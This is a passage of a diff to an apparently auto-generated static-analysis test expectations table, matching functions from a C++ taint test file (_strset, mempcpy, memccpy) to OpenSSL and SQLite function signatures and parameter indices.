| (int,int) | | BN_security_bits | 1 | +| taint.cpp:523:7:523:13 | _strset | (int,int) | | EVP_MD_meth_new | 1 | +| taint.cpp:523:7:523:13 | _strset | (int,int) | | EVP_PKEY_meth_new | 1 | +| taint.cpp:523:7:523:13 | _strset | (int,int) | | acttab_alloc | 1 | +| taint.cpp:523:7:523:13 | _strset | (rule *,int) | | Configlist_add | 1 | +| taint.cpp:523:7:523:13 | _strset | (rule *,int) | | Configlist_addbasis | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| taint.cpp:523:7:523:13 | _strset | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| taint.cpp:523:7:523:13 | _strset | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| taint.cpp:523:7:523:13 | _strset | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| taint.cpp:523:7:523:13 | _strset | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (uint16_t,int) | | tls1_group_id2nid | 1 | +| taint.cpp:523:7:523:13 | _strset | (unsigned char *,int) | | RAND_bytes | 1 | +| taint.cpp:523:7:523:13 | _strset | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| taint.cpp:523:7:523:13 | _strset | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| taint.cpp:523:7:523:13 | _strset | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| taint.cpp:523:7:523:13 | _strset | (void *,int) | | DSO_dsobyaddr | 1 | +| taint.cpp:523:7:523:13 | _strset | (void *,int) | | sqlite3_realloc | 1 | | taint.cpp:523:7:523:13 | _strset | (wchar_t,int) | CStringT | CStringT | 1 | | taint.cpp:525:6:525:18 | test_strset_1 | (const CStringT &,char) | | operator+ | 1 | +| taint.cpp:531:6:531:18 | test_strset_2 | (char *) | | SRP_VBASE_new | 0 | +| taint.cpp:531:6:531:18 | test_strset_2 | (char *) | | defossilize | 0 | +| taint.cpp:531:6:531:18 | test_strset_2 | (char *) | | make_uppercase | 0 | +| taint.cpp:531:6:531:18 | test_strset_2 | (char *) | | next_item | 0 | | taint.cpp:531:6:531:18 | test_strset_2 | (char *) | CStringT | CStringT | 0 | +| taint.cpp:538:7:538:13 | mempcpy | (BIO *,OCSP_REQUEST *,unsigned long) | | OCSP_REQUEST_print | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (BIO *,OCSP_RESPONSE *,unsigned long) | | OCSP_RESPONSE_print | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (BIO *,X509 *,unsigned long) | | ossl_x509_print_ex_brief | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (BIO *,X509_CRL *,unsigned long) | | X509_CRL_print_ex | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (BIO *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (BLAKE2B_CTX *,const void *,size_t) | | ossl_blake2b_update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (BLAKE2B_CTX *,const void *,size_t) | | ossl_blake2b_update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_personal | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_salt | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (BLAKE2S_CTX *,const void *,size_t) | | ossl_blake2s_update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (BLAKE2S_CTX *,const void *,size_t) | | ossl_blake2s_update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (BLAKE2S_PARAM *,const uint8_t *,size_t) | | ossl_blake2s_param_set_personal | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (BLAKE2S_PARAM *,const uint8_t *,size_t) | | ossl_blake2s_param_set_salt | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (CCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_ccm128_aad | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (CCM128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_ccm128_tag | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (CMAC_CTX *,const void *,size_t) | | CMAC_Update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (CMAC_CTX *,const void *,size_t) | | CMAC_Update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (CMS_RecipientInfo *,const unsigned char *,size_t) | | CMS_RecipientInfo_kekri_id_cmp | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (DH *,const unsigned char *,size_t) | | ossl_dh_buf2key | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (EC_GROUP *,const unsigned char *,size_t) | | EC_GROUP_set_seed | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (EC_KEY *,const unsigned char *,size_t) | | ossl_ec_key_simple_oct2priv | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (EVP_MD_CTX *,const unsigned char *,size_t) | | EVP_DigestVerifyFinal | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (EVP_PKEY *,char *,size_t) | | EVP_PKEY_get_default_digest_name | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (EVP_RAND_CTX *,unsigned char *,size_t) | | EVP_RAND_nonce | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (FFC_PARAMS *,const unsigned char *,size_t) | | ossl_ffc_params_set_seed | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (FILE *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex_fp | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (GCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_gcm128_aad | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (GCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_gcm128_setiv | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (GCM128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_gcm128_tag | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (KECCAK1600_CTX *,const void *,size_t) | | ossl_sha3_update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (KECCAK1600_CTX *,const void *,size_t) | | ossl_sha3_update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (KECCAK1600_CTX *,unsigned char *,size_t) | | ossl_sha3_squeeze | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (KECCAK1600_CTX *,unsigned char,size_t) | | ossl_sha3_init | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (MD4_CTX *,const void *,size_t) | | MD4_Update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (MD4_CTX *,const void *,size_t) | | MD4_Update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (MD4_CTX *,const void *,size_t) | | md4_block_data_order | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (MD4_CTX *,const void *,size_t) | | md4_block_data_order | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (MD5_CTX *,const void *,size_t) | | MD5_Update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (MD5_CTX *,const void *,size_t) | | MD5_Update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (MD5_SHA1_CTX *,const void *,size_t) | | ossl_md5_sha1_update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (MD5_SHA1_CTX *,const void *,size_t) | | ossl_md5_sha1_update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (MDC2_CTX *,const unsigned char *,size_t) | | MDC2_Update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (ML_DSA_KEY *,const uint8_t *,size_t) | | ossl_ml_dsa_pk_decode | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (ML_DSA_KEY *,const uint8_t *,size_t) | | ossl_ml_dsa_sk_decode | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (OCB128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_ocb128_aad | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (OCB128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_ocb128_tag | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_HPKE_CTX *,const unsigned char *,size_t) | | OSSL_HPKE_CTX_set1_ikme | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_JSON_ENC *,const char *,size_t) | | ossl_json_str_len | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_JSON_ENC *,const void *,size_t) | | ossl_json_str_hex | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_JSON_ENC *,const void *,size_t) | | ossl_json_str_hex | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_LIB_CTX *,unsigned char *,size_t) | | ossl_rand_cleanup_entropy | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_LIB_CTX *,unsigned char *,size_t) | | ossl_rand_cleanup_user_entropy | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_ptr | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_ptr | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string_or_ptr | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string_or_ptr | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_PARAM *,void *,size_t) | | ossl_param_set_secure_block | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t) | | tls_write_records_default | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t) | | tls_write_records_multiblock | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (POLY1305 *,const unsigned char *,size_t) | | Poly1305_Update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_generic_initiv | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_ede3_initkey | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (PROV_GCM_CTX *,const unsigned char *,size_t) | | ossl_gcm_aad_update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (QUIC_PN,unsigned char *,size_t) | | ossl_quic_wire_encode_pkt_hdr_pn | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (QUIC_RXFC *,OSSL_STATM *,size_t) | | ossl_quic_rstream_new | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (QUIC_TLS *,const unsigned char *,size_t) | | ossl_quic_tls_set_transport_params | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (RAND_POOL *,const unsigned char *,size_t) | | ossl_rand_pool_adin_mix_in | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (RAND_POOL *,size_t,size_t) | | ossl_rand_pool_add_end | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (RIPEMD160_CTX *,const void *,size_t) | | RIPEMD160_Update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (RIPEMD160_CTX *,const void *,size_t) | | RIPEMD160_Update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (RIPEMD160_CTX *,const void *,size_t) | | ripemd160_block_data_order | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (RIPEMD160_CTX *,const void *,size_t) | | ripemd160_block_data_order | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SCT **,const unsigned char **,size_t) | | o2i_SCT | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SCT *,const unsigned char **,size_t) | | o2i_SCT_signature | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SCT *,const unsigned char *,size_t) | | SCT_set1_extensions | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SCT *,const unsigned char *,size_t) | | SCT_set1_log_id | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SCT *,const unsigned char *,size_t) | | SCT_set1_signature | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SCT *,unsigned char *,size_t) | | SCT_set0_extensions | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SCT *,unsigned char *,size_t) | | SCT_set0_log_id | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SCT *,unsigned char *,size_t) | | SCT_set0_signature | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SHA256_CTX *,const void *,size_t) | | SHA224_Update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (SHA256_CTX *,const void *,size_t) | | SHA224_Update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SHA256_CTX *,const void *,size_t) | | SHA256_Update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (SHA256_CTX *,const void *,size_t) | | SHA256_Update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SHA512_CTX *,const void *,size_t) | | SHA384_Update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (SHA512_CTX *,const void *,size_t) | | SHA384_Update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SHA512_CTX *,const void *,size_t) | | SHA512_Update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (SHA512_CTX *,const void *,size_t) | | SHA512_Update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SHA_CTX *,const void *,size_t) | | SHA1_Update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (SHA_CTX *,const void *,size_t) | | SHA1_Update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SIPHASH *,const unsigned char *,size_t) | | SipHash_Update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SIPHASH *,unsigned char *,size_t) | | SipHash_Final | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SIV128_CONTEXT *,const unsigned char *,size_t) | | ossl_siv128_set_tag | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SIV128_CONTEXT *,unsigned char *,size_t) | | ossl_siv128_get_tag | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SLH_DSA_KEY *,const uint8_t *,size_t) | | ossl_slh_dsa_set_priv | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SLH_DSA_KEY *,const uint8_t *,size_t) | | ossl_slh_dsa_set_pub | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SM3_CTX *,const void *,size_t) | | ossl_sm3_block_data_order | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (SM3_CTX *,const void *,size_t) | | ossl_sm3_block_data_order | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SM3_CTX *,const void *,size_t) | | ossl_sm3_update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (SM3_CTX *,const void *,size_t) | | ossl_sm3_update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SSL *,const unsigned char *,size_t) | | SSL_set1_client_cert_type | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SSL *,const unsigned char *,size_t) | | SSL_set1_server_cert_type | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SSL *,const unsigned char *,size_t) | | SSL_set_quic_tls_transport_params | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SSL *,size_t,size_t) | | SSL_set_block_padding_ex | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SSL_CONNECTION *,TLS_RECORD *,size_t) | | ssl_release_record | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SSL_CONNECTION *,const unsigned char *,size_t) | | lookup_sess_in_cache | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SSL_CTX *,const unsigned char *,size_t) | | SSL_CTX_set1_client_cert_type | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SSL_CTX *,const unsigned char *,size_t) | | SSL_CTX_set1_server_cert_type | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SSL_CTX *,size_t,size_t) | | SSL_CTX_set_block_padding_ex | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SSL_SESSION *,const unsigned char *,size_t) | | SSL_SESSION_set1_alpn_selected | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SSL_SESSION *,const unsigned char *,size_t) | | SSL_SESSION_set1_master_key | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SSL_SESSION *,const void *,size_t) | | SSL_SESSION_set1_ticket_appdata | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (SSL_SESSION *,const void *,size_t) | | SSL_SESSION_set1_ticket_appdata | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_BitUpdate | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_BitUpdate | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_Update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_Update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (WPACKET *,BUF_MEM *,size_t) | | WPACKET_init_len | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (WPACKET *,const unsigned char *,size_t) | | ossl_quic_wire_encode_frame_new_token | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (WPACKET *,const void *,size_t) | | WPACKET_memcpy | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (WPACKET *,const void *,size_t) | | WPACKET_memcpy | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (WPACKET *,int,size_t) | | WPACKET_memset | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (WPACKET *,uint64_t,size_t) | | WPACKET_put_bytes__ | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (WPACKET *,unsigned char *,size_t) | | WPACKET_init_der | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (WPACKET *,unsigned char *,size_t) | | dtls_raw_hello_verify_request | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_add1_host | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_set1_email | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_set1_host | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (X509_VERIFY_PARAM *,const unsigned char *,size_t) | | X509_VERIFY_PARAM_set1_ip | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (char *,const char *,size_t) | | OPENSSL_strlcat | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (char *,const char *,size_t) | | OPENSSL_strlcpy | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const CTLOG_STORE *,const uint8_t *,size_t) | | CTLOG_STORE_get0_log_by_id | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const EC_KEY *,unsigned char *,size_t) | | ossl_ec_key_simple_priv2oct | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const EVP_MD *,const OSSL_ITEM *,size_t) | | ossl_digest_md_to_nid | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const EVP_MD *,const unsigned char *,size_t) | | OSSL_STORE_SEARCH_by_key_fingerprint | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const OSSL_CMP_CTX *,char *,size_t) | | OSSL_CMP_CTX_snprint_PKIStatus | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const OSSL_CMP_PKISI *,char *,size_t) | | OSSL_CMP_snprint_PKIStatusInfo | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const OSSL_NAMEMAP *,int,size_t) | | ossl_namemap_num2name | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const OSSL_PARAM *,char **,size_t) | | OSSL_PARAM_get_utf8_string | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const SSL *,unsigned char *,size_t) | | SSL_get_client_random | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const SSL *,unsigned char *,size_t) | | SSL_get_server_random | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const SSL_SESSION *,unsigned char *,size_t) | | SSL_SESSION_get_master_key | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const char *,char **,size_t) | | OSSL_PARAM_construct_utf8_ptr | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const char *,char *,size_t) | | OSSL_PARAM_construct_utf8_string | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const char *,const char *,size_t) | | OPENSSL_strncasecmp | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const char *,unsigned char *,size_t) | | OSSL_PARAM_construct_BN | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const char *,void **,size_t) | | OSSL_PARAM_construct_octet_ptr | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const char *,void *,size_t) | | OSSL_PARAM_construct_octet_string | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const unsigned char *,size_t,size_t) | | ossl_rand_pool_attach | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (curve448_scalar_t,const unsigned char *,size_t) | | ossl_curve448_scalar_decode_long | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (int *,int *,size_t) | | EVP_PBE_get | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (size_t,OSSL_QTX_IOVEC *,size_t) | | ossl_quic_sstream_adjust_iov | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (stack_st_SCT **,const unsigned char **,size_t) | | o2i_SCT_LIST | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (unsigned char *,const unsigned char *,size_t) | | BUF_reverse | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (unsigned char *,int,unsigned long) | | UTF8_putc | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (unsigned char *,size_t *,size_t) | | ossl_cipher_padblock | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (unsigned char *,size_t *,size_t) | | ossl_cipher_unpadblock | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (void *,unsigned char *,size_t) | | ossl_drbg_clear_seed | 2 | +| taint.cpp:548:7:548:13 | memccpy | (BIGNUM *,BIGNUM *,const unsigned char **,size_t) | | ossl_decode_der_dsa_sig | 3 | +| taint.cpp:548:7:548:13 | memccpy | (BIO *,X509 *,unsigned long,unsigned long) | | X509_print_ex | 3 | +| taint.cpp:548:7:548:13 | memccpy | (BIO *,X509_ACERT *,unsigned long,unsigned long) | | X509_ACERT_print_ex | 3 | +| taint.cpp:548:7:548:13 | memccpy | (BIO *,X509_REQ *,unsigned long,unsigned long) | | X509_REQ_print_ex | 3 | +| taint.cpp:548:7:548:13 | memccpy | (BIO *,const X509_NAME *,int,unsigned long) | | X509_NAME_print_ex | 2 | +| taint.cpp:548:7:548:13 | memccpy | (BIO *,const X509_NAME *,int,unsigned long) | | X509_NAME_print_ex | 3 | +| taint.cpp:548:7:548:13 | memccpy | (CCM128_CONTEXT *,const unsigned char *,size_t,size_t) | | CRYPTO_ccm128_setiv | 3 | +| taint.cpp:548:7:548:13 | memccpy | (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ccm128_decrypt | 3 | +| taint.cpp:548:7:548:13 | memccpy | (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ccm128_encrypt | 3 | +| taint.cpp:548:7:548:13 | memccpy | (EVP_KEYMGMT *,void *,char *,size_t) | | evp_keymgmt_util_get_deflt_digest_name | 3 | +| taint.cpp:548:7:548:13 | memccpy | (FILE *,const X509_NAME *,int,unsigned long) | | X509_NAME_print_ex_fp | 2 | +| taint.cpp:548:7:548:13 | memccpy | (FILE *,const X509_NAME *,int,unsigned long) | | X509_NAME_print_ex_fp | 3 | +| taint.cpp:548:7:548:13 | memccpy | (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_gcm128_decrypt | 3 | +| taint.cpp:548:7:548:13 | memccpy | (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_gcm128_encrypt | 3 | +| taint.cpp:548:7:548:13 | memccpy | (KECCAK1600_CTX *,unsigned char,size_t,size_t) | | ossl_keccak_init | 3 | +| taint.cpp:548:7:548:13 | memccpy | (OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ocb128_decrypt | 3 | +| taint.cpp:548:7:548:13 | memccpy | (OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ocb128_encrypt | 3 | +| taint.cpp:548:7:548:13 | memccpy | (OSSL_HPKE_CTX *,const char *,const unsigned char *,size_t) | | OSSL_HPKE_CTX_set1_psk | 3 | +| taint.cpp:548:7:548:13 | memccpy | (OSSL_LIB_CTX *,const OSSL_PROPERTY_LIST *,char *,size_t) | | ossl_property_list_to_string | 3 | +| taint.cpp:548:7:548:13 | memccpy | (OSSL_PARAM[],size_t,size_t,unsigned long) | | ossl_digest_default_get_params | 3 | +| taint.cpp:548:7:548:13 | memccpy | (OSSL_PARAM_BLD *,const char *,const BIGNUM *,size_t) | | OSSL_PARAM_BLD_push_BN_pad | 3 | +| taint.cpp:548:7:548:13 | memccpy | (OSSL_PARAM_BLD *,const char *,const char *,size_t) | | OSSL_PARAM_BLD_push_utf8_string | 3 | +| taint.cpp:548:7:548:13 | memccpy | (OSSL_PARAM_BLD *,const char *,const void *,size_t) | | OSSL_PARAM_BLD_push_octet_string | 3 | +| taint.cpp:548:7:548:13 | memccpy | (OSSL_RECORD_LAYER *,size_t,size_t,size_t) | | tls_setup_write_buffer | 3 | +| taint.cpp:548:7:548:13 | memccpy | (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cbc | 3 | +| taint.cpp:548:7:548:13 | memccpy | (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cfb8 | 3 | +| taint.cpp:548:7:548:13 | memccpy | (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cfb128 | 3 | +| taint.cpp:548:7:548:13 | memccpy | (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_ofb128 | 3 | +| taint.cpp:548:7:548:13 | memccpy | (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cbc | 3 | +| taint.cpp:548:7:548:13 | memccpy | (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb1 | 3 | 